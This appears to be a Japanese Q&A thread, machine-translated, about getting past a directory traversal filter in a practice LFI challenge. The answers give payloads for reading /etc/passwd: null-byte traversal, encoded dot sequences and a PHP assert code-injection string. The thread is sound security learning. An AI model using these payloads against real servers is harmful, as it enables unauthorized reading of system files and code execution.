web-dev-qa-db-ja.com

lfiでこの関数をバイパスする方法を理解できません

私は現在、セキュリティについていくつかの練習をしており、Webサイトで提供される課題に直面しています。そのうちの1人がLFIについて話し、私は何をすべきかを理解しましたが、これを行う方法がわからないので、問題を示しましょう。

ハックするURLは次のとおりです。

http://example.com/challenge27/?page=contact

私は/etc/passwdでパスワードを取得するように求められます。そのため、最初に考えられるのは、いくつかのディレクトリトランスバーサルを試すことです。

http://example.com/challenge27/?page=.

これは例外をスローします:

Warning: assert(): Assertion "strpos('includes/..php', '..') === false" failed

明らかなことは、strposがパス内の'..'のすべての出現を検出し、アサーションがこの関数がfalse値を返すことを確認することです

次に、同じURLの末尾にnullバイトを追加して試してみます

http://example.com/challenge27/?page=.%00

これは私に別のヒントを与えます:

Warning: file_exists() expects parameter 1 to be a valid path

しかし、ここではブロックされています。私の目標は、次のように/etc/passwdへのパスを挿入することです。

http://example.com/challenge27/?page=../../../../etc/passwd

私はnullバイトソリューションを活用できるように感じますが、多くの異なるURLを試した後、file_exists()警告またはassert()警告のいずれかを取得した後、アイデアが足りなくなりました、誰かにもう1つヒントがありますか?

1
onizukaek

通常はパスで、その後にnullバイトが続きます 実際にファイルを取得するCコードが実行されるとき

http://example.com/challenge27/?page=../../../../etc/passwd%00

PHPの最新バージョンではnullバイト文字は機能しないことに注意してください。

もう1つの課題は、..フィルタを通過しました。

これらを試す このチェックをバイパスできるかどうかを確認します。

  • 16ビットUnicodeエンコーディング(. = %u002e)。
  • 二重URLエンコーディング(. =%252e)。
  • 長いUTF-8 Unicodeエンコーディング(.%c0%2e%e0%40%ae%c0ae
3
SilverlightFox

_'_を入力として渡してみてください。 Parse error: syntax error, unexpected ’’, ’’ (T_CONSTANT_ENCAPSED_STRING) in ...のような例外をスローする場合、コードインジェクションに対して脆弱です。

その場合、次のようなファイルを開くことができます。

_' and die(show_source('/etc/passwd')) or '
_

詳細は this write-up にあります。

1
Shabgard